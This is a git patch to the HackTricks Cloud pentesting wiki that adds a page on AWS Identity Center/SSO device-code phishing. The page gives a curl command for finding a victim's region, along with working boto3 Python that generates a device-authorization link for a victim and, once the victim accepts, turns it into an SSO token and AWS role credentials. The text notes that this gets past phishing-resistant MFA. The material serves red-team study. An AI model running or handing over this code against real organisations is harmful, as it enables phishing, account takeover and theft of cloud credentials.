From f3c5b4cc9e3dc772a44997da7e355611ab35e2ff Mon Sep 17 00:00:00 2001 From: CPol Date: Mon, 1 Apr 2024 09:21:45 +0000 Subject: [PATCH] GITBOOK-605: change request with no subject merged in GitBook --- .gitbook/assets/image (154).png | Bin 0 -> 20439 bytes SUMMARY.md | 3 +- .../aws-security/aws-services/aws-iam-enum.md | 16 +- ...ity-center-and-sso-unauthenticated-enum.md | 155 ++++++++++++++++++ 4 files changed, 168 insertions(+), 6 deletions(-) create mode 100644 .gitbook/assets/image (154).png create mode 100644 pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md diff --git a/.gitbook/assets/image (154).png b/.gitbook/assets/image (154).png new file mode 100644 index 0000000000000000000000000000000000000000..56486f01a15443b98d9469d60db1ea565ace761a GIT binary patch literal 20439 zcmdqJWmH^2w>F4t2o~HOg1cKFSa1jg8h5wG-QC?KcyI~s?gS6+?(Xn4;l1CzYi6yP zA2UB@4Xc|zeX45Lt~%#b?dREhcZj^KI1&Ob0vH$=lB9&FA{ZEWCg}JT4hHnUGq+L{ zbmE7ph={zThzPN~owbpvg&`Oib&NxFC#|0?cE4a+NFW_Pfuo{XqS1m6V(9c_>Zts5 zvr|o3-Tk%ImqwtyVrbe@eAv#j)01B?fAH+#vB;#>rtW;482D^4&zg=hJARG*a9c7OfkI)1p)@!8&^V z!}0E~y6W6Yj*Svqad>rP=}UGPOFwxRw$b`nQx(~qZTRxxEM8pQL!RAsVbD~o82*qn zl92)X3_6Ab0}nCLY{>sQ277(0D6AwR zDGB;i(zi1-v;vw~+mE1z&4WbEnkxUW{~;sIqi=1=ple{QXUO1eY4g?ujL(?|bZBX4 zuS@J~X<-HAapoueSAz$1{C1j=l=xp2dvku$A2Ra9BGz_>#2gGv3{0c~2*kw1e0By# zJc^=X|7i~T#!qTuZ*RlH$mrzc#NforU~Om2$jr^n&B(;U$ihMoszDEQv9i~7rndr; zy$ks-IiiL@eLGVddsAyG;y1avde#p1{G_CB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wsk7Z(cm?RR@&Z%3w1JN4P0LNc?&m9^z*v zpRqgr-jqz~Zj0LT{Y#DVVE!8vV`&80-4ZySF_Z_&Qr#mBCSOa9=C+Zk+`jl25escj ziDnb&fhgIGrUJh#u!x&vbSx$pvzfZ0li4aTu-MU$KIJw7du9BQO2y*J;+rtUwaLEv zPF^~LMRs1Qy3W*;w6F$Da%D>KlSko6{99mrfp&=V$lPa|M_q7sf30Ecj}m$R3w>W` zLJ zK-7|e)=h`9mOC1*1NGhgCU12obsS& z|9ygYyZ&^g!pN~i(xdWB{OC2@+yXOY0O}{vmkd z*`sKTZe0FwgGFlaki9 zHcpu{!>Oq{Gg5A;AIyrcv%kJHqmk?5+Q@`D~KRja*Q-8n@!Ki= z!lMzEX(%q=@%z>N^Y!T2Ve&YpxSo+CtkIvBn!N9LeO{=%El2L;X6Z zJ{kMN4ji6i=2aW;Q{NqWAc4|=D~MjWXzFDAg3@B}t~V6Lt%mWAiOBpJSgYCgc@Y$< z^=FEsF*ND8YJg2xGc0>C#j8795~90hV3i8EzPT3^n=fg_es^<)iA2PR6b{!nb{RM! z630ZhzM5gw4wHy*^k{Eoy6>ba{ZB$F`9_7+D{arSf=Sq%d!{5Td5r^A`l6~ zpt3r!>Ha%)1&q?>Mtd~!;g%oN++ekzR#l5(<|x^K9yPxG&Ofz)dV=*jq%<;ZQg=ud n23%nZeiyg1n4n4F2l<8pMYJKDd1uU4lAEO|+T_W3-{k)Q+|` @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -248,7 +248,7 @@ steampipe dashboard Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! -## Unauthenticated Access +### Unauthenticated Access {% content-ref url="../../aws-pentesting/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md" %} [aws-iam-and-sts-unauthenticated-enum.md](../../aws-pentesting/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md) @@ -386,7 +386,13 @@ mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` -### Privesc +### Unauthenticated Access + +{% content-ref url="../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md" %} +[aws-identity-center-and-sso-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md) +{% endcontent-ref %} + +### Privilege Escalation {% content-ref url="../../aws-pentesting/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md" %} [aws-sso-and-identitystore-privesc.md](../../aws-pentesting/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md) @@ -425,7 +431,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md new file mode 100644 index 0000000000..75f851c866 --- /dev/null +++ b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -0,0 +1,155 @@ +# AWS - Identity Center & SSO Unauthenticated Enum + +
+ +Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! + +Other ways to support HackTricks: + +* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## AWS Device Code Phishing + +Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. + +In order to perform this attack the requisites are: + +* The victim needs to use **Identity Center** +* The attacker must know the **subdomain** used by the victim `.awsapps.com/start` + +Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. + +### Attack + +1. **Finding the subdomain** + +The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. + +With this info, it's possible to get the region where the Indentity Center was configured with: + +```bash +curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' +"region":"us-east-1 +``` + +2. **Generate the link for the victim & Send it** + +Run the following code to generate an AWS SSO login link so the victim can authenticate.\ +For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: + +```python +import boto3 + +REGION = 'us-east-1' # CHANGE THIS +AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS + +sso_oidc = boto3.client('sso-oidc', region_name=REGION) +client = sso_oidc.register_client( + clientName = 'attacker', + clientType = 'public' +) + +client_id = client.get('clientId') +client_secret = client.get('clientSecret') +authz = sso_oidc.start_device_authorization( + clientId=client_id, + clientSecret=client_secret, + startUrl=AWS_SSO_START_URL +) + +url = authz.get('verificationUriComplete') +deviceCode = authz.get('deviceCode') +print("Give this URL to the victim: " + url) +``` + +Send the generated link to the victim using you awesome social engineering skills! + +3. **Wait until the victim accepts it** + +If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ +This is how the promp looks nowadays: + +
+ +4. **Get SSO access token** + +If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: + +```python +token_response = sso_oidc.create_token( + clientId=client_id, + clientSecret=client_secret, + grantType="urn:ietf:params:oauth:grant-type:device_code", + deviceCode=deviceCode +) +sso_token = token_response.get('accessToken') +``` + +The SSO access token is **valid for 8h**. + +5. **Impersonate the user** + +```python +sso_client = boto3.client('sso', region_name=REGION) + +# List accounts where the user has access +aws_accounts_response = sso_client.list_accounts( + accessToken=sso_token, + maxResults=100 +) +aws_accounts_response.get('accountList', []) + +# Get roles inside an account +roles_response = sso_client.list_account_roles( + accessToken=sso_token, + accountId= +) +roles_response.get('roleList', []) + +# Get credentials over a role + +sts_creds = sso_client.get_role_credentials( + accessToken=sso_token, + roleName=, + accountId= +) +sts_creds.get('roleCredentials') +``` + +### Phishing the unphisable MFA + +It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. + +For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). + +### Automatic Tools + +* [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) +* [https://github.com/sebastian-mora/awsssome\_phish](https://github.com/sebastian-mora/awsssome\_phish) + +## References + +* [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) +* [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) +* [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) +* [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) + +
+ +Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! + +Other ways to support HackTricks: + +* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +